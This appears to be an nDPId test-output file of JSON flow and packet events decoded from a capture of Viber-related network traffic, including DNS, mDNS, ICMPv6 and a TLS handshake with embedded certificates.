+00477{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":968177,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"AQBeAAD7MAdNo1+nCABFAABZHwxAAP8RutLAqAAR4AAA+xTpFOkARSvHAAQAAAACAAAAAAAACV84MDU3NDFDOQRfc3ViC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAcAbAAwAAQ=="} +00424{"flow_id":13,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":975566,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0QK9AAEAGdTTAqAARrNkXTqq2Abu2ky494KxiFYAQAr7hsAAAAQEICgAhaJ2jji0c"} +00948{"flow_id":13,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155646,"pkt_ts_usec":985278,"pkt_caplen":452,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":452,"pkt_l4_len":418,"pkt":"AA6OMNv9MAdNo1+nCABFAAG2QLBAAEAGc7HAqAARrNkXTqq2Abu2ky494KxiFYAYAr7c1wAAAQEICgAhaJ+jji0cFwMDAX0AAAAAAAAAApW6ODyeXpKyk4XJyhRL3V+HzjI4sBL9MUeh9Y1zBqAJwrzZH+Y3uNuiBE+QKguFAvBOfOpOPMq8ebeawGTayYLfCy21lgdDnG5JA27GGgHZEBwVXIlYAPdnQSdovnn9bs8Hrj2yDV6Aik+GVNHFMgCPcEfIVIlvqBZ0AJ25HyeNnwuKavxvKknzbfLWKOpRYDIBICqb7gL\/dO6ZeSBBTQ1KCO5yWHN1Y1kDj7Sbrgog4x8bEkQ4G7z4TuAw3vM0TKeOOEf8cRndbb16wNSMbnfi7bW531GbRHntyJ575HNK95vlJxhGk9qugIRG7zcR8M\/ygnf2nhicsZ2DhplyH5zbFuEP4515bmjJwo2t\/O1MH5L4zdRVGVnQklVsozy7CGd0Z283j6oDI93oCh4E1lF1OkFB49+BwfH5GOivXAEOByWOdhvvTT6A0mXUDvHVdFcxblre1IUgYU\/SpfqUI5MJltm\/HTefqzzEd++k8NQO+ctSZY0="} +00424{"flow_id":13,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155647,"pkt_ts_usec":26154,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MAdNo1+nAA6OMNv9CABFAAA0ScYAADoGsh2s2RdOwKgAEQG7qrbgrGIVtpMvv4AQALfh\/QAAAQEICqOOLVIAIWif"} +00450{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":208,"source":"viber.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1527155647500,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::3207:4dff:fea3:5fa7","dst_ip":"ff02::2","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":208,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155647,"pkt_ts_usec":500374,"pkt_caplen":70,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":70,"pkt_l4_len":16,"pkt":"MzMAAAACMAdNo1+nht1gAAAAABA6\/\/6AAAAAAAAAMgdN\/\/6jX6f\/AgAAAAAAAAAAAAAAAAAChQDAigAAAAABATAHTaNfpw=="} +00484{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":208,"source":"viber.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1527155647500,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::3207:4dff:fea3:5fa7","dst_ip":"ff02::2","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00437{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":209,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155647,"pkt_ts_usec":500402,"pkt_caplen":70,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":70,"pkt_l4_len":16,"pkt":"MzMAAAACMAdNo1+nht1gAAAAABA6\/\/6AAAAAAAAAMgdN\/\/6jX6f\/AgAAAAAAAAAAAAAAAAAChQDAigAAAAABATAHTaNfpw=="} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":210,"source":"viber.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1527155648481,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":44376,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":210,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":481643,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AA6OMNv9MAdNo1+nCABFAABEJLZAAEARlILAqAARwKgAD61YADUAMDkH00kBAAABAAAAAAAAB3ZlbmV0aWEDaWFkBmFwcGJveQNjb20AAAEAAQ=="} +00640{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":210,"source":"viber.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1527155648481,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":44376,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"venetia.iad.appboy.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00582{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":211,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":506661,"pkt_caplen":183,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":183,"pkt_l4_len":149,"pkt":"MAdNo1+nAA6OMNv9CABFAACpXKlAAEARXCrAqAAPwKgAEQA1rVgAlY7c00mBgAABAAUAAAAAB3ZlbmV0aWEDaWFkBmFwcGJveQNjb20AAAEAAcAMAAUAAQAAAQIAGQF5A3NzbAZnbG9iYWwGZmFzdGx5A25ldADANAABAAEAAAAdAASXZQGCwDQAAQABAAAAHQAEl2VBgsA0AAEAAQAAAB0ABJdlgYLANAABAAEAAAAdAASXZcGC"} +00668{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":211,"source":"viber.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":2,"flow_first_seen":1527155648481,"flow_last_seen":1527155648506,"flow_tot_l4_data_len":197,"flow_min_l4_data_len":48,"flow_max_l4_data_len":149,"flow_avg_l4_data_len":98,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"192.168.0.15","src_port":44376,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"venetia.iad.appboy.com","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"151.101.1.130"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":212,"source":"viber.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1527155648513,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"151.101.1.130","src_port":55746,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":212,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":513495,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AA6OMNv9MAdNo1+nCABFAAA8cjBAAEAGbuvAqAARl2UBgtnCAbvgBRgtAAAAAKAC\/\/+wcAAAAgQFtAQCCAoAIWodAAAAAAEDAwc="} +00436{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":213,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":523699,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"MAdNo1+nAA6OMNv9CABFAAA8AABAADoG5xuXZQGCwKgAEQG72cJzm\/EW4AUYLqAScSBKVAAAAgQFtAQCCArIDMgpACFqHQEDAwk="} +00423{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":526879,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0cjFAAEAGbvLAqAARl2UBgtnCAbvgBRguc5vxF4AQAq3nkgAAAQEICgAhaiDIDMgp"} +00677{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":533128,"pkt_caplen":250,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":250,"pkt_l4_len":216,"pkt":"AA6OMNv9MAdNo1+nCABFAADscjJAAEAGbjnAqAARl2UBgtnCAbvgBRguc5vxF4AYAq0GIgAAAQEICgAhaiLIDMgpFgMBALMBAACvAwNMJ7CvztfSmUaRPcK3z4cAvGSi2\/cpgw4T9New8B2\/AwAAHMArwCzMqcAvwDDMqMAJwArAE8AUAJwAnQAvADUBAABq\/wEAAQAAAAAbABkAABZ2ZW5ldGlhLmlhZC5hcHBib3kuY29tABcAAAAjAAAADQAQAA4EAwQBBQMFAQYDBgECAQAFAAUBAAAAAAAQAAsACQhodHRwLzEuMQALAAIBAAAKAAgABgAdABcAGA=="} +00716{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":215,"source":"viber.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":4,"flow_first_seen":1527155648513,"flow_last_seen":1527155648533,"flow_tot_l4_data_len":328,"flow_min_l4_data_len":32,"flow_max_l4_data_len":216,"flow_avg_l4_data_len":82,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"151.101.1.130","src_port":55746,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"venetia.iad.appboy.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00424{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":543275,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MAdNo1+nAA6OMNv9CABFAAA0OTlAADoGreqXZQGCwKgAEQG72cJzm\/EX4AUY5oAQADvpRQAAAQEICsgMyC4AIWoi"} +02382{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":544884,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXcOTtAADoGqECXZQGCwKgAEQG72cJzm\/a\/4AUY5oAQADvJnwAAAQEICsgMyC4AIWoiNYAgKtnxi+t0zXvgqCNxYDJHlan1lapV20Z\/ny62IjeQgHIScYpqH+tVAAKb3EMP5nUUR1kQVrYkpKhqr2TFadRS9mHnnhZmaWW+\/AofJwQcNaK7ji309PCPZs5ODBDwwHUVKqTV\/dYYiu+qX2et2RkP5mWClu5PRe2YjEph5kcLHGPjrZtGJ2ZPub6ZAwZ3\/VBc3XXoydIa2cEe8omRMVYfrlKzGLPnue4sx2wX4UvPbHuHzDhK1tkYNtEfU6ZRK9cO77nMHM9ywKgvFhh4AASPMIIEizCCA3OgAwIBAgIORvCM288sVGbvMwHdXzQwDQYJKoZIhvcNAQELBQAwVzELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jvb3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw0xNTA4MTkwMDAwMDBaFw0yNTA4MTkwMDAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMS0wKwYDVQQDEyRHbG9iYWxTaWduIENsb3VkU1NMIENBIC0gU0hBMjU2IC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCjwHXhMpjl2a6EfI3oI19GlVtMoiVw15AEhYDJtfSKZU2Sy6XEQqC2eSUx7fGFIM0TUT1nrJdNaJszhlyzey2q33egYdH1PPua\/NPVlMrJHoAbkJDIrI32YBecMbjFYaLiblclCG8kmZnPlL\/Hi2uwH8oU+hibbBB8mSvaSmPlsk7C\/T4QC0j0dwsv8JZLOu69Nd6FjdoTDs4BxHHT03fFCKZgOSWnJ2lcg9FvdnjuxURbRb0pO+LGCQ+ivivc41zaWm+O58kHa36hwFOVgongeFxyqGy+Z2ur5zPZh\/L4XCf09io7h+\/awkfav6zrJ2R7TFPrNOEvmyBNVBJrfSi9AgMBAAGjggFTMIIBTzAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBIGA1UdEwEB\/wQIMAYBAf8CAQAwHQYDVR0OBBYEFKkrh+HOJEc7G7\/PhTcCVZ0NlFjmMB8GA1UdIwQYMBaAFGB7ZhpFDZfKiVAvfQTNNKj\/\/P1LMD0GCCsGAQUFBwEBBDEwLzAtBggrBgEFBQcwAYYhaHR0cDovL29jc3AuZ2xvYmFsc2lnbi5jb20vcm9vdHIxMDMGA1UdHwQsMCowKKAmoCSGImh0dHA6Ly9jcmwuZ2xvYmFsc2lnbi5jb20vcm9vdC5jcmwwVgYDVR0gBE8wTTALBgkrBgEEAaAyARQwPgYGZ4EMAQICMDQwMgYIKwYBBQUHAgEWJmh0dHBzOi8vd3d3Lmdsb2JhbHNpZ24uY29tL3JlcG9zaXRvcnkvMA0GCSqGSIb3DQEBCwUAA4IBAQCiHWmKCo7EFIMqKhJNOSeQTvCNrNKWYkc2XpLR+sWTtTcHZSnS9FNQa8n0\/jT13bgd+vzcFKxWlCecQqoETbftWNmZ0knmIC\/Tp3e4Koka76fPhi3WU+kLk5xOq9lF7qSEhf805A7Au6XOX5WJhXCqwV3szyvT2YPfA8qBpwIyt3dhECVO2XTz2XmCtSZwtFK8jzPXiq4Z0PySrS+6PKBIWEde\/SBWlSDBch2rZpmk1Xg3SBufskw3Z3r9QtLTVp7THY7EDGiWtkdREPd76xUJZPX58GMWLT3fI0I6k2PMq69PVwbH\/hRVYs4nERnh9ELtIjBrNRpKBYCkZd\/My2\/QFgMDBgsWAAYHAQAGAzCCBf8KAQCgggX4MIIF9AYJKwYBBQUHMAEBBIIF5TCCBeEwgZqiFgQUJzerGfqxBfrD93SB0OZc5bk="} +02384{"flow_id":17,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":218,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":544918,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXcOTxAADoGqD+XZQGCwKgAEQG72cJzm\/xn4AUY5oAQADusSgAAAQEICsgMyC4AIWoiPqiLGA8yMDE4MDUyMzE3NTc1OFowbzBtMEUwCQYFKw4DAhoFAAQUEurfRswIgDhzYLZaaRYBzAy16eIEFKkrh+HOJEc7G7\/PhTcCVZ0NlFjmAgwmPQKX1q9WdqJzgnKAABgPMjAxODA1MjMxNzU3NThaoBEYDzIwMTgwNTI3MTc1NzU4WjANBgkqhkiG9w0BAQsFAAOCAQEAo5XhR4a5uHlh3wOPhuWdv6OS5xxJkpx6L6IjOEkhcFQq0nbNRz2wdjFv8Sz36agda4r5\/GaRbcYFSydISE8Azh9RpIeYZKY7Sc9i9JqlkJh1g\/+2We6I\/69cWVeLYvG+VOU2kwPPlwg5Uswpo2mssZ8\/AzB3vlAsCuU20s5uPD2M+HeFKJ6NnulWLXTVi7OrdOaZZiXdyv+KSqg9c3iu9dPyRItV80EkHKsy9tXQoL2NcXaRVNB8eXDmUvBaEddosRKNzmE0m8N5v\/JLd\/LRvIN5bquOLVihd2JC3ND9c5dpup76e1upNiUSDIi4fh0CGP8vdeRruihofEgXohftGKCCBCwwggQoMIIEJDCCAwygAwIBAgIMU4dVR0twSWuSuiypMA0GCSqGSIb3DQEBCwUAMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMS0wKwYDVQQDEyRHbG9iYWxTaWduIENsb3VkU1NMIENBIC0gU0hBMjU2IC0gRzMwHhcNMTgwNDEwMDczMzExWhcNMTgwNzExMDczMzExWjB\/MQswCQYDVQQGEwJTRzEbMBkGA1UEChMSR2xvYmFsU2lnbiBQdGUgTHRkMRUwEwYDVQQFEwwyMDE4MDQxMDAwMDQxPDA6BgNVBAMTM0dsb2JhbFNpZ24gQ2xvdWRTU0wgQ0EgLSBTSEEyNTYgLSBHMyBPQ1NQIFJlc3BvbmRlcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKqsozu9fkpn7\/6s9Cmu985JFgLKciPNzTDBR1Cuxfm9sVtQfvGUvJhw\/66IzOmsNT6BgfPnVoPEO8JURVBo2uKgoITrl37NCU8iu2mUgQ5DuZWT9rQNuus1S1cwEBkzIk\/1tLFninJjubpYbzrNtsDAQ2\/EVGfwU8gB7WoeGzhTCC\/7TWVTrRdr4\/A0UWbStH2uPrO2SMIcJPl5AanON\/kjCiirRWI4Yd697beejNWLSoKAvhF110W\/P+BWZnhEOe9ybf5pytqfE15qgfc3MrpIxJp1qYcmCrItkDqHjbPMil40ncSioOE4IteBpXiMZAj0MTEKoOTKLVy1HZ\/sd28CAwEAAaOBxzCBxDAdBgNVHQ4EFgQUJzerGfqxBfrD93SB0OZc5bk+qIswHwYDVR0jBBgwFoAUqSuH4c4kRzsbv8+FNwJVnQ2UWOYwDwYJKwYBBQUHMAEFBAIFADBMBgNVHSAERTBDMEEGCSsGAQQBoDIBXzA0MDIGCCsGAQUFBwIBFiZodHRwczovL3d3dy5nbG9iYWxzaWduLmNvbS9yZXBvc2l0b3J5LzAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDQYJKoZIhvcNAQELBQADggEBAHP6J5aL4sE\/oDdgw24mzzfGnHTeaHTNJz1p\/D2a4B3iaxDsh2iYcwJqw1W8YWnmlTNMrh8gLmAgaTejRYiPkZQlkVMf3uMlkneOawMEteRjmsh0ixBn5VlXap2KG\/JA9WaEAKZpdc089eOFgOsQuKtiO3RIorFfaGIkBGwbYLyf9vHavMCyGiiMfykULp6NcuuosCZ\/3rpxRHzx887Aau1TkeeuzecFhLocBKXRlCK1R2BvuZhYRFtgHu+IMwMzNl\/+J6+XgxYBkuntLqB+M3q3UMKMp6Sp4uNLDPBO4n8="} +02371{"flow_id":17,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":544946,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXcOTpAADoGqEGXZQGCwKgAEQG72cJzm\/EX4AUY5oAQADtPJgAAAQEICsgMyC4AIWoiFgMDAFgCAABUAwNx1mqvibVdsaPVXHpQMCYBkJ0VPvooyVGAnRK0MyRQngDALwAALP8BAAEAAAAAAAALAAQDAAECACMAAAAFAAAAFwAAABAACwAJCGh0dHAvMS4xFgMDCqcLAAqjAAqgAAYLMIIGBzCCBO+gAwIBAgIMJj0Cl9avVnaic4JyMA0GCSqGSIb3DQEBCwUAMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMS0wKwYDVQQDEyRHbG9iYWxTaWduIENsb3VkU1NMIENBIC0gU0hBMjU2IC0gRzMwHhcNMTcxMDAzMjIwNzAzWhcNMTgwOTI4MTQzODI3WjBsMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEVMBMGA1UECgwMRmFzdGx5LCBJbmMuMRkwFwYDVQQDDBB5LnNzbC5mYXN0bHkubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1VBiDVdx5J3VggMx41Pn\/SHPr8uG8eH9s2qP7j6yfibmLp\/bC6\/YA4wGdhGd157KQFQVrtBSZqNvff7SwTs8FSwCyqnq4DB2brNSvjB2fVI1fZ4aIBPu3BXHhnlnKxwPEqTmdE1XLGebyq0yagoPLLmqCl0J5N6wo8+5JC+Vby77k8Yztx8Etm1WgJ0V01EkLC5ORFBYurli5lnCir1fxxAodDZmhI\/USPMAgtKu4x4rKclCS31KNLL8MBK3QQ0KdVSbthTkinzNCzPVcm\/xlcp1eznMggbgFwwerI3FlkyrRWbEQIr\/FhIAgrglwIxP\/TfTFJi1Orjfb3N4pBuCmwIDAQABo4ICvDCCArgwDgYDVR0PAQH\/BAQDAgWgMIGKBggrBgEFBQcBAQR+MHwwQgYIKwYBBQUHMAKGNmh0dHA6Ly9zZWN1cmUuZ2xvYmFsc2lnbi5jb20vY2FjZXJ0L2Nsb3Vkc3Nsc2hhMmczLmNydDA2BggrBgEFBQcwAYYqaHR0cDovL29jc3AyLmdsb2JhbHNpZ24uY29tL2Nsb3Vkc3Nsc2hhMmczMFYGA1UdIARPME0wQQYJKwYBBAGgMgEUMDQwMgYIKwYBBQUHAgEWJmh0dHBzOi8vd3d3Lmdsb2JhbHNpZ24uY29tL3JlcG9zaXRvcnkvMAgGBmeBDAECAjAJBgNVHRMEAjAAMIIBVQYDVR0RBIIBTDCCAUiCEHkuc3NsLmZhc3RseS5uZXSCDyouYXBpLmFwcGJveS5ldYIMKi5hcHBib3kuY29tggsqLmFwcGJveS5ldYINKi5iYWl0b3J1LmNvbYINKi5iZXN0ZWdnLmNvbYIWKi5jZWRleGlzLmZhc3RseWxiLm5ldIIVKi5jbGluaWNhbG9wdGlvbnMuY29tgg4qLmhvbWVhd2F5LmNvbYITKi5pYWQtMDMuYXBwYm95LmNvbYIQKi5pYWQuYXBwYm95LmNvbYIQKi5pbnByYWN0aWNlLmNvbYIWKi5pbnByYWN0aWNlYWZyaWNhLmNvbYIYKi5tYXJpbmVyZmluYW5jZWxvYW4uY29tgg8qLm15YmVzdGVnZy5jb22CEWFwcGJveS1pbWFnZXMuY29tghxsZWdhY3lzc2wuYXBwLmNvc2NoZWR1bGUuY29tMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAdBgNVHQ4EFgQUA58I+9SRKDe03g9PqRV10UnXzzUwHwYDVR0jBBgwFoAUqSuH4c4kRzsbv8+FNwJVnQ2UWOYwDQYJKoZIhvcNAQELBQADggEBADzYtIEQ0kXhWZ8tQZksPZnNTMBThIU6\/8QndDKpLTACn37tzVs1SyWucuS8GaSxfPo="} +00895{"flow_id":17,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":545107,"pkt_caplen":413,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":413,"pkt_l4_len":379,"pkt":"MAdNo1+nAA6OMNv9CABFAAGPOT1AADoGrIuXZQGCwKgAEQG72cJznAIP4AUY5oAYADuWQQAAAQEICsgMyC4AIWoinmWA3BZqsJNaFxKtvIumYLZla\/xMMNu5\/unS0dmVRpy6FgMDASwMAAEoAwAdILJN8S\/RTJ4V9yCrrnYAjJQWMfShDTXYXFCTr+b9H04pBgEBAM6pJnOE+sG8HguvCAU+ypoAE6k0agfL4aGmIF4JqAUGwPNFZnSMwL14CQCWcv49z4C7oHkkX4R1tve2EeD7efZMmqIkBGeaGKo3Wks3udnMx9Db0OC48lIABN4ZnB0dHLGAI3WeGKAyFH4fejy4W5fpmcxE42Yx3jQOYMdp7S2XAku7EWyK1KYweZ6XiT7rR1d1\/CvbD36UWuHo12lRwp5ZyMp28rSyc63AAjypOFPsVW5SEB830Qd1E0eabFOJsOkeyRjrid8S29n1LZs\/d5gjpuowwm5ScScG7ZbWFS5T4iAOchZzGhsjhnwrA5qMUcfB6e9pX8CJ0R5xz3xHmlQWAwMABA4AAAA="} +00441{"flow_id":17,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":551167,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AA6OMNv9MAdNo1+nCABFAABAcjNAAEAGbuTAqAARl2UBgtnCAbvgBRjmc5vxF7AQAsPWQwAAAQEICgAhaibIDMguAQEFCnOb9r9zm\/xn"} +00440{"flow_id":17,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":551252,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AA6OMNv9MAdNo1+nCABFAABAcjRAAEAGbuPAqAARl2UBgtnCAbvgBRjmc5vxF7AQAtrQhAAAAQEICgAhaibIDMguAQEFCnOb9r9znAIP"} +00424{"flow_id":17,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155648,"pkt_ts_usec":551297,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0cjVAAEAGbu7AqAARl2UBgtnCAbvgBRjmc5wCD4AQAvHVkwAAAQEICgAhaibIDMgu"} 